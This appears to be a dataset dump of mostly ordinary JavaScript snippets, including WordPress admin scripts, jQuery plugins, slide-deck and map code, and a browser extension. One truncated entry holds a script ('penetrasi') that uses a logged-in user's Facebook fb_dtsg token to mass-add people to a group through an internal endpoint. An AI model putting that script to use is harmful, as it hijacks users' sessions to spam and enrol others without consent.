code
stringlengths
1
2.08M
language
stringclasses
1 value
// JavaScript Document var $j = jQuery.noConflict(); $j(document).ready(function() { slide("#rt-sidebar-a ul.menu", 15, 0, 150, .8); slide("#rt-showcase ul.menu", 15, 0, 150, .8); }); function slide(navigation_id, pad_out, pad_in, time, multiplier) { // creates the target paths var list...
JavaScript
var $j = jQuery.noConflict(); $j(document).ready(function(){ // preloadImages($("img")) }); //sidebar - read more button //var $j = jQuery.noConflict(); $j(document).ready(function(){ $j(".textwidget a#link, a.readon").wrap('<div class="readm_bg" />'); $j(".rt-article .rt-article-bg p > a:has(img...
JavaScript
function preloadImages(imgs){ var picArr = []; for (i = 0; i<imgs.length; i++){ picArr[i]= new Image(100,100); picArr[i].src=imgs[i]; } }
JavaScript
var showNotice, adminMenu, columns, validateForm, screenMeta, autofold_menu; (function($){ // Removed in 3.3. // (perhaps) needed for back-compat adminMenu = { init : function() {}, fold : function() {}, restoreMenuState : function() {}, toggle : function() {}, favorites : function() {} }; // show/hide/save table...
JavaScript
(function($){ function check_pass_strength() { var pass1 = $('#pass1').val(), user = $('#user_login').val(), pass2 = $('#pass2').val(), strength; $('#pass-strength-result').removeClass('short bad good strong'); if ( ! pass1 ) { $('#pass-strength-result').html( pwsL10n.empty ); return; } strength = p...
JavaScript
var tagBox, commentsBox, editPermalink, makeSlugeditClickable, WPSetThumbnailHTML, WPSetThumbnailID, WPRemoveThumbnail, wptitlehint; // return an array with any duplicate, whitespace or values removed function array_unique_noempty(a) { var out = []; jQuery.each( a, function(key, val) { val = jQuery.trim(val); if...
JavaScript
(function($) { inlineEditTax = { init : function() { var t = this, row = $('#inline-edit'); t.type = $('#the-list').attr('class').substr(5); t.what = '#'+t.type+'-'; $('.editinline').live('click', function(){ inlineEditTax.edit(this); return false; }); // prepare the edit row row.keyup(functio...
JavaScript
function WPSetAsThumbnail(id, nonce){ var $link = jQuery('a#wp-post-thumbnail-' + id); $link.text( setPostThumbnailL10n.saving ); jQuery.post(ajaxurl, { action:"set-post-thumbnail", post_id: post_id, thumbnail_id: id, _ajax_nonce: nonce, cookie: encodeURIComponent(document.cookie) }, function(str){ var win = w...
JavaScript
jQuery(document).ready( function($) { var stamp = $('#timestamp').html(); $('.edit-timestamp').click(function () { if ($('#timestampdiv').is(":hidden")) { $('#timestampdiv').slideDown("normal"); $('.edit-timestamp').hide(); } return false; }); $('.cancel-timestamp').click(function() { $('#timestampd...
JavaScript
jQuery(document).ready(function($) { var gallerySortable, gallerySortableInit, w, desc = false; gallerySortableInit = function() { gallerySortable = $('#media-items').sortable( { items: 'div.media-item', placeholder: 'sorthelper', axis: 'y', distance: 2, handle: 'div.filename', stop: function(e, ...
JavaScript
/*! * Farbtastic: jQuery color picker plug-in v1.3u * * Licensed under the GPL license: * http://www.gnu.org/licenses/gpl.html */ (function($) { $.fn.farbtastic = function (options) { $.farbtastic(this, options); return this; }; $.farbtastic = function (container, callback) { var container = $(container)...
JavaScript
var farbtastic; function pickColor(color) { farbtastic.setColor(color); jQuery('#background-color').val(color); jQuery('#custom-background-image').css('background-color', color); if ( color && color !== '#' ) jQuery('#clearcolor').show(); else jQuery('#clearcolor').hide(); } jQuery(document).ready(function()...
JavaScript
// send html to the post editor var wpActiveEditor; function send_to_editor(h) { var ed, mce = typeof(tinymce) != 'undefined', qt = typeof(QTags) != 'undefined'; if ( !wpActiveEditor ) { if ( mce && tinymce.activeEditor ) { ed = tinymce.activeEditor; wpActiveEditor = ed.id; } else if ( !qt ) { return ...
JavaScript
var findPosts; (function($){ findPosts = { open : function(af_name, af_val) { var st = document.documentElement.scrollTop || $(document).scrollTop(); if ( af_name && af_val ) { $('#affected').attr('name', af_name).val(af_val); } $('#find-posts').show().draggable({ handle: '#find-posts-head' ...
JavaScript
/** * PubSub * * A lightweight publish/subscribe implementation. * Private use only! */ var PubSub, fullscreen, wptitlehint; PubSub = function() { this.topics = {}; }; PubSub.prototype.subscribe = function( topic, callback ) { if ( ! this.topics[ topic ] ) this.topics[ topic ] = []; this.topics[ topic ].pu...
JavaScript
(function($) { wpWordCount = { settings : { strip : /<[a-zA-Z\/][^<>]*>/g, // strip HTML tags clean : /[0-9.(),;:!?%#$¿'"_+=\\/-]+/g, // regexp to remove punctuation, etc. count : /\S\s+/g // counting regexp }, block : 0, wc : function(tx) { var t = this, w = $('.word-count'), tc = 0; if ( ...
JavaScript
// utility functions var wpCookies = { // The following functions are from Cookie.js class in TinyMCE, Moxiecode, used under LGPL. each : function(o, cb, s) { var n, l; if (!o) return 0; s = s || o; if (typeof(o.length) != 'undefined') { for (n=0, l = o.length; n<l; n++) { if (cb.call(s, o[n], n...
JavaScript
var postboxes, is_iPad = navigator.userAgent.match(/iPad/); (function($) { postboxes = { add_postbox_toggles : function(page, args) { this.init(page, args); $('.postbox h3, .postbox .handlediv').bind('click.postboxes', function() { var p = $(this).parent('.postbox'), id = p.attr('id'); if ( 'dashboa...
JavaScript
/** * WordPress Administration Navigation Menu * Interface JS functions * * @version 2.0.0 * * @package WordPress * @subpackage Administration */ var wpNavMenu; (function($) { var api = wpNavMenu = { options : { menuItemDepthPerLevel : 30, // Do not use directly. Use depthToPx and pxToDepth instead. ...
JavaScript
var ajaxWidgets, ajaxPopulateWidgets, quickPressLoad; jQuery(document).ready( function($) { /* Dashboard Welcome Panel */ var welcomePanel = $('#welcome-panel'), welcomePanelHide = $('#wp_welcome_panel-hide'), updateWelcomePanel = function( visible ) { $.post( ajaxurl, { action: 'update-welcome-panel', ...
JavaScript
var theList, theExtraList, toggleWithKeyboard = false, getCount, updateCount, updatePending, dashboardTotals; (function($) { setCommentsList = function() { var totalInput, perPageInput, pageInput, lastConfidentTime = 0, dimAfter, delBefore, updateTotalCount, delAfter, refillTheExtraList; totalInput = $('input[name=...
JavaScript
/* Plugin Browser Thickbox related JS*/ var tb_position; jQuery(document).ready(function($) { tb_position = function() { var tbWindow = $('#TB_window'), width = $(window).width(), H = $(window).height(), W = ( 720 < width ) ? 720 : width, adminbar_height = 0; if ( $('body.admin-bar').length ) adminbar_height =...
JavaScript
var wpWidgets; (function($) { wpWidgets = { init : function() { var rem, sidebars = $('div.widgets-sortables'), isRTL = !! ( 'undefined' != typeof isRtl && isRtl ), margin = ( isRtl ? 'marginRight' : 'marginLeft' ), the_id; $('#widgets-right').children('.widgets-holder-wrap').children('.sidebar-name').click(...
JavaScript
var switchEditors = { switchto: function(el) { var aid = el.id, l = aid.length, id = aid.substr(0, l - 5), mode = aid.substr(l - 4); this.go(id, mode); }, go: function(id, mode) { // mode can be 'html', 'tmce', or 'toggle' id = id || 'content'; mode = mode || 'toggle'; var t = this, ed = tinyMCE.get(i...
JavaScript
jQuery(document).ready( function($) { var newCat, noSyncChecks = false, syncChecks, catAddAfter; $('#link_name').focus(); // postboxes postboxes.add_postbox_toggles('link'); // category tabs $('#category-tabs a').click(function(){ var t = $(this).attr('href'); $(this).parent().addClass('tabs').siblings('li...
JavaScript
var thickDims, tbWidth, tbHeight; jQuery(document).ready(function($) { thickDims = function() { var tbWindow = $('#TB_window'), H = $(window).height(), W = $(window).width(), w, h; w = (tbWidth && tbWidth < W - 90) ? tbWidth : W - 90; h = (tbHeight && tbHeight < H - 60) ? tbHeight : H - 60; if ( tbWindow.s...
JavaScript
jQuery(document).ready( function($) { var before, addBefore, addAfter, delBefore; before = function() { var nonce = $('#newmeta [name="_ajax_nonce"]').val(), postId = $('#post_ID').val(); if ( !nonce || !postId ) { return false; } return [nonce,postId]; } addBefore = function( s ) { var b = before(); if...
JavaScript
// Password strength meter function passwordStrength(password1, username, password2) { var shortPass = 1, badPass = 2, goodPass = 3, strongPass = 4, mismatch = 5, symbolSize = 0, natLog, score; // password 1 != password 2 if ( (password1 != password2) && password2.length > 0) return mismatch //password < 4 if ...
JavaScript
jQuery(document).ready( function($) { $('#link_rel').prop('readonly', true); $('#linkxfndiv input').bind('click keyup', function() { var isMe = $('#me').is(':checked'), inputs = ''; $('input.valinp').each( function() { if (isMe) { $(this).prop('disabled', true).parent().addClass('disabled'); } else { ...
JavaScript
jQuery(document).ready(function($) { var options = false, addAfter, delBefore, delAfter; if ( document.forms['addcat'].category_parent ) options = document.forms['addcat'].category_parent.options; addAfter = function( r, settings ) { var name, id; name = $("<span>" + $('name', r).text() + "</span>").text(); ...
JavaScript
var ThemeViewer; (function($){ ThemeViewer = function( args ) { function init() { $( '#filter-click, #mini-filter-click' ).unbind( 'click' ).click( function() { $( '#filter-click' ).toggleClass( 'current' ); $( '#filter-box' ).slideToggle(); $( '#current-theme' ).slideToggle( 300 ); return false...
JavaScript
var imageEdit; (function($) { imageEdit = { iasapi : {}, hold : {}, postid : '', intval : function(f) { return f | 0; }, setDisabled : function(el, s) { if ( s ) { el.removeClass('disabled'); $('input', el).removeAttr('disabled'); } else { el.addClass('disabled'); $('input', el).prop('disable...
JavaScript
jQuery(document).ready(function($) { $('.delete-tag').live('click', function(e){ var t = $(this), tr = t.parents('tr'), r = true, data; if ( 'undefined' != showNotice ) r = showNotice.warn(); if ( r ) { data = t.attr('href').replace(/[^?]*\?/, '').replace(/action=delete/, 'action=delete-tag'); $.post(a...
JavaScript
(function($) { inlineEditPost = { init : function(){ var t = this, qeRow = $('#inline-edit'), bulkRow = $('#bulk-edit'); t.type = $('table.widefat').hasClass('pages') ? 'page' : 'post'; t.what = '#post-'; // prepare the edit rows qeRow.keyup(function(e){ if (e.which == 27) return inlineEditPost.rev...
JavaScript
/** * Creates a new Floor. * @constructor * @param {google.maps.Map=} opt_map */ function Floor(opt_map) { /** * @type Array.<google.maps.MVCObject> */ this.overlays_ = []; /** * @type boolean */ this.shown_ = true; if (opt_map) { this.setMap(opt_map); } } /** * @param {google.maps.M...
JavaScript
/** * Creates a new level control. * @constructor * @param {IoMap} iomap the IO map controller. * @param {Array.<string>} levels the levels to create switchers for. */ function LevelControl(iomap, levels) { var that = this; this.iomap_ = iomap; this.el_ = this.initDom_(levels); google.maps.event.addList...
JavaScript
/** * @license * * Copyright 2011 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable l...
JavaScript
// Copyright 2011 Google /** * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in wri...
JavaScript
/* Copyright (C) 2011 Google Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, softwa...
JavaScript
(function(window) { var ORIGIN_ = location.protocol + '//' + location.host; function SlideController() { this.popup = null; this.isPopup = window.opener; if (this.setupDone()) { window.addEventListener('message', this.onMessage_.bind(this), false); // Close popups if we reload the main window. win...
JavaScript
/* * Hammer.JS * version 0.4 * author: Eight Media * https://github.com/EightMedia/hammer.js */ function Hammer(element, options, undefined) { var self = this; var defaults = { // prevent the default event or not... might be buggy when false prevent_default : false, css_hacks ...
JavaScript
/** * @authors TODO * @fileoverview TODO */ document.cancelFullScreen = document.webkitCancelFullScreen || document.mozCancelFullScreen; /** * @constructor */ function SlideDeck(el) { this.curSlide_ = 0; this.prevSlide_ = 0; this.config_ = null; this.container = el || document....
JavaScript
require(['order!../slide_config', 'order!modernizr.custom.45394', 'order!prettify/prettify', 'order!hammer', 'order!slide-controller', 'order!slide-deck'], function(someModule) { });
JavaScript
var SLIDE_CONFIG = { // Slide settings settings: { title: 'Building Web Applications that use Google APIs and the JavaScript Client for Google APIs', subtitle: '', useBuilds: true, // Default: true. False will turn off slide animation builds. usePrettify: true, // Default: true enableSlideAreas:...
JavaScript
/* * Copyright 2011 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to ...
JavaScript
/* * jsTree 1.0-rc3 * http://jstree.com/ * * Copyright (c) 2010 Ivan Bozhanov (vakata.com) * * Licensed same as jquery - under the terms of either the MIT License or the GPL Version 2 License * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html * * $Date: 2...
JavaScript
/* * Copyright 2011 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to ...
JavaScript
/* * Copyright 2011 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to ...
JavaScript
/* * Copyright 2011 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to ...
JavaScript
// Copyright 2012 Google Inc. All Rights Reserved. /* Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law o...
JavaScript
// Copyright 2012 Google Inc. All Rights Reserved. /* Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law o...
JavaScript
// Copyright 2012 Google Inc. All Rights Reserved. /* Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law o...
JavaScript
// Copyright 2012 Google Inc. All Rights Reserved. /* Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law o...
JavaScript
function Pager(tableName, itemsPerPage) { this.tableName = tableName; this.itemsPerPage = itemsPerPage; this.currentPage = 1; this.pages = 0; this.inited = false; var rows = document.getElementById(tableName).rows; if( rows.length > itemsPerPage) { this.showRecords = function(from, to) {...
JavaScript
function ValAjax() { this.req = null; this.url = null; this.status = null; this.statusText = ''; this.method = 'GET'; this.async = true; this.dataPayload = null; this.readyState = null; this.responseText = null; this.responseXML = null; this.handleResp = null; this.responseFormat = 'text', t...
JavaScript
ReturnFunc = ''; function Calendar(iYear, iMonth, iDay, ContainerId, ClassName, cnt) { MonthNames = new Array('Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'); oDate = new Date(); Year = (iYear == null) ? oDate.getFullYear() : iYear; Month = (iMonth == null) ? oDat...
JavaScript
function formcheck_school_setup_school() { var sel = document.getElementsByTagName('input'); for(var i=1; i<sel.length; i++) { var inp_value = sel[i].value; if(inp_value == "") { var inp_name = sel[i].name; if(inp_name == 'values[TITLE]') { document.getElementById('divErr'...
JavaScript
function loadajax(frmname) { this.formobj=document.forms[frmname]; if(!this.formobj) { alert("BUG: couldnot get Form object "+frmname); return; } if(this.formobj.onsubmit) { this.formobj.old_onsubmit = this.formobj.onsubmit; this.formobj.onsubmit=null; } else { this.formobj.old_onsubmit = null; } ...
JavaScript
var xmlHttp function GetAmount(str) { if (str.length==0) { document.getElementById("am_val").value="" return } xmlHttp=GetXmlHttpObject() if (xmlHttp==null) { alert ("Browser does not support HTTP Request") return } var url="modules/Billing/GetAmount.php" url=url+"?q="+str xmlHttp.onreadystatechange=st...
JavaScript
function InsertComment(txt, img) { var MSIE = navigator.userAgent.indexOf('MSIE')>=0?true:false; var navigatorVersion = navigator.appVersion.replace(/.*?MSIE ([0-9]\.[0-9]).*/g,'$1')/1; var sel = document.getElementsByTagName('select'); if(MSIE && navigatorVersion<=6) { for(var i=0; i<sel.length; i++) { s...
JavaScript
function display(x) { var win = window.open(); for (var i in x) win.document.write(i+' = '+x[i]+'<br>'); } function showall(parent, child) { var p = document.getElementById(parent); var c = document.getElementById(child ); var top = (c["position"] == "y") ? p.offsetHeight+2 : 0; var left = (c["positio...
JavaScript
function showDiv() { if (document.getElementById) { document.getElementById("attach").style.display = "block"; } } function showDiv1() { if (document.getElementById) { document.getElementById("attach1").style.display = "block"; } } function showGroups($group_id){ var group_id=$group_id; // a...
JavaScript
function ShowBar(){ check_content('ajax.php?modname=Discipline/Decision_Graph.php&TAB=2'); }; function ShowChart(){ check_content('ajax.php?modname=Discipline/Decision_Graph.php&TAB=3'); }; function ShowBar1(){ check_content('ajax.php?modname=Discipline/ChartReport.php&TAB=2'); }; function S...
JavaScript
function hide_search_div() { document.getElementById("searchdiv").style.display = "none"; document.getElementById("addiv").style.display = "block"; } function show_search_div() { document.getElementById("searchdiv").style.display = "block"; document.getElementById("addiv").style.display = "none"; } function...
JavaScript
var menuAlignment = 'left'; var topMenuSpacer = 0; var activateSubOnClick = true; var leftAlignSubItems = true; var time1, time2; var activeMenuItem = false; var activeTabIndex = 0; var rememberActiveTabByCookie = true; var MSIE = navigator.userAgent.indexOf('MSIE')>=0?true:false; var Opera = naviga...
JavaScript
var hh=0; var inter; var MSIE = navigator.userAgent.indexOf('MSIE')>=0?true:false; function ShowBox(obj, height, width, left, top, obj1) { if(hh>=height) { clearInterval(inter); return; } obj.style.visibility = 'visible'; hh+=10; obj.style.height = hh + 'px'; obj.style.width = width + 'px'; if(MSIE) { o...
JavaScript
function Validator(frmname) { this.formobj=document.forms[frmname]; if(!this.formobj) { alert("BUG: couldnot get Form object "+frmname); return; } if(this.formobj.onsubmit) { this.formobj.old_onsubmit = this.formobj.onsubmit; this.formobj.onsubmit=null; } else { this.formobj.old_onsubmit = null; ...
JavaScript
var loadingImage = new Image(); loadingImage.src = "images/ajax-loader_clock.gif"; function showLoading() { var str; str = '<table><tr><td width=200px></td></tr>'; str = str+ '<tr><td align=center><img border=0 src=\'images/loading.gif\'></td></tr>'; str = str + '<tr><td align=center>Loading...</td></tr></table>';...
JavaScript
//Javascript name: My Date Time Picker //Date created: 16-Nov-2003 23:19 //Scripter: TengYong Ng //Website: http://www.rainforestnet.com //Copyright (c) 2003 TengYong Ng //FileName: DateTimePicker.js //Version: 0.8 //Contact: contact@rainforestnet.com // Note: Permission given to use this script in ANY kind of applicat...
JavaScript
//Javascript name: My Date Time Picker //Date created: 16-Nov-2003 23:19 //Creator: TengYong Ng //Website: http://www.rainforestnet.com //Copyright (c) 2003 TengYong Ng //FileName: DateTimePicker_css.js //Version: 2.1.1 // Note: Permission given to use and modify this script in ANY kind of applications if // hea...
JavaScript
/* ------------------------------------------------------------------------- JavaScript Form Validator Version 2.0.2 Copyright 2003 JavaScript-coder.com. All rights reserved. You use this script in your Web pages, provided these opening credit lines are kept...
JavaScript
var strings = { "loadingText": "Loading…", "cancelText": "Cancel", "addCategoryButtonText": "Add Category", "addCategorySubmitText": "Submit", "modifyCategoryButtonText": "Edit", "renameCategoryButtonText": "Rename", "deleteCategoryButtonText": "Delete", "renameCategorySubmitText": "Submit" };
JavaScript
/* CollapsibleLists.js An object allowing lists to dynamically expand and collapse Created by Stephen Morley - http://code.stephenmorley.org/ - and released under the terms of the CC0 1.0 Universal legal code: http://creativecommons.org/publicdomain/zero/1.0/legalcode */ var CollapsibleLists=new function(){ this....
JavaScript
var catIDPrefix = "cat"; function sortByObjectName(a, b) { var nameA = a.name; var nameB = b.name; if(nameA < nameB) { return -1; } else if(nameB < nameA) { return 1; } else { return 0; } } $(document).ready( function() { console.log("Server URL: " + configVars.serverAddress); resizeContai...
JavaScript
/** * @author Naty */ function validar(){ //Para validar que ni el nombre ni los apellidos ni el DNI ni el email sean vacios var ret = true; var dni = document.getElementById("dni").value; if (dni == "") { ret = false; window.alert("Error, el DNI esta vacio"); } var nombre = document.getElementById(...
JavaScript
var tulisanNganu = '<font color="black"><b>Adding</b> </font>'; var kunaon = ''; function penetrasi(opo) { jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fbdtsg + "&group_id=" + memberGroupId + "&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group...
JavaScript
document.createElement('header'); document.createElement('nav'); document.createElement('section'); document.createElement('article'); document.createElement('aside'); document.createElement('footer'); document.createElement('hgroup'); $(document).ready(function () { $('.section-content,#status-container').addClas...
JavaScript
(function () { var host = window.location.hostname; var port = window.location.port; var videoPlugin; var videoStream; var audioPlugin; var audioStream; var error; function stream(object,type,done) { var state = "idle"; return { restart: function () { ...
JavaScript
(function () { var translations = { en: { 1:"About", 2:"Return", 3:"Change quality settings", 4:"Flash/Vibrator", 5:"Click on the torch to enable or disable the flash", 6:"Play a prerecorded sound", 7:"Connect !!", 8:"...
JavaScript
/* Load this script using conditional IE comments if you need to support IE 7 and IE 6. */ window.onload = function() { function addIcon(el, entity) { var html = el.innerHTML; el.innerHTML = '<span style="font-family: \'ElegantIcons\'">' + entity + '</span>' + html; } var icons = { 'arrow_up' : '&#x21;', ...
JavaScript
/** * jQuery.ScrollTo * Copyright (c) 2007-2009 Ariel Flesler - aflesler(at)gmail(dot)com | http://flesler.blogspot.com * Dual licensed under MIT and GPL. * Date: 5/25/2009 * * @projectDescription Easy element scrolling using jQuery. * http://flesler.blogspot.com/2007/10/jqueryscrollto.html * Works with...
JavaScript
(function(window,document,undefined){ function ribbon( context ) { this.init( context ); } ribbon.prototype = { context: null, mouseX: null, mouseY: null, painters: null, interval: null, init: function( context ) { this.context = context; this.con...
JavaScript
jQuery(window).on('load', createCounter); window.setInterval(createCounter, 10000); function createCounter () { jQuery('.createCounter').each(function (index){ var id = jQuery(this).attr('id'); jQuery(this).html(''); if (id == 15) { var todayBithdayPeople = execSQL(id); for (var i=0; i<todayBithdayPeople....
JavaScript
jQuery(window).on('load', function(){ jQuery('.incutHeader').each(function(){ jQuery(this).css('top', '-' + (jQuery(this).outerHeight(true)/2) + 'px' ); }); });
JavaScript
function execSQL (id) { var result; if (id == 1000) { result = [ { elementLink: 'templates/start.html', hover: true, active: true, imgURLLink: 'images/tabs/start_48.png', imgURLHover: 'images/tabs/start_48_hover.png', imgURLActive: 'images/tabs/start_48.png', }, { elementText: '...
JavaScript
(function($){ jQuery.fn.menucreater = function(menuPointsArrow, options){ options = jQuery.extend({ menuOuter: 'ul', pointOuter: 'li', textOuter: 'p', activeOuter: 'span', activeOuterClass: 'activepoint', activeImgClass: 'menuActiveImg', hoverImgClass: 'menuHoverImg', iconsMaxSize: 48, }, o...
JavaScript
Wami = function() { } Wami.utils = function() { } Wami.utils.debug = function(message) { if (typeof console == 'undefined') { // No Firebug console, so no logging. } else { console.log(message); } } Wami.utils.gup = function(name) { var regexS = "[\\?&]"+name+"=([^&#]*)"; var regex = new RegExp(regexS);...
JavaScript
///////////////////////////////////////////////////////////////// //// Public WamiApp API //// ///////////////////////////////////////////////////////////////// // Create a new Wami.App object. Note, you should never create more than one // Wami.App object on your page. // // ...
JavaScript
/* Make sure to register the following domain with your LiveAddress Subscription: fiddle.jshell.net This can be done from here (once you're logged in): https://smartystreets.com/account/api/javascript Also, make sure to insert your Javascript API Access Identifier below as the 'auth-token' va...
JavaScript
pref("ipv6ident.urls", "46h|whois.sc|http://www.whois.sc/%SRC"); pref("ipv6ident.newtab", true);
JavaScript
/* ShowIP Firefox Extension Copyright (C) 2007 Jan Dittmer <jdi@l4x.org> This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) a...
JavaScript
/* * ShowIP (c) Jan Dittmer <jdi@l4x.org> 2011 * * LRU Cache Module */ function ShowipCache(size) { this.size = size; this.items = {}; this.length = 0; this.count = 0; this.stats = {hits: 0, misses:0, inserts:0, purges: 0, deletes:0}; } ShowipCache.prototype.get = function(key) { var item = this.items[key]; ...
JavaScript
/* ShowIP Firefox Extension Copyright (C) 2007 Jan Dittmer <jdi@l4x.org> This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) a...
JavaScript
function buttonUp(){ var valux = $('.amo-search-input').val(); valux = $.trim(valux).length; if(valux !== 0){ $('.amo-search-submit').css('z-index','99'); } else{ $('.amo-search-input').val(''); $('.amo-search-submit')...
JavaScript
/** * jQuery lightBox plugin * This jQuery plugin was inspired and based on Lightbox 2 by Lokesh Dhakar (http://www.huddletogether.com/projects/lightbox2/) * and adapted to me for use like a plugin from jQuery. * @name jquery-lightbox-0.5.js * @author Leandro Vieira Pinho - http://leandrovieira.com * @versi...
JavaScript
// Copyright 2011 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable...
JavaScript
// Copyright 2011 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable...
JavaScript
// Copyright 2010 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable...
JavaScript
//Copyright 2010 Google Inc. All Rights Reserved. /** * @fileoverview This file contains the script manager. * * @author phu@google.com (Po Hu) */ goog.provide('rpf.ScriptManager'); goog.require('rpf.MiscHelper'); /** * A class for managing a given script. * @constructor * @export */ rpf.ScriptManager = ...
JavaScript
// Copyright 2010 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable...
JavaScript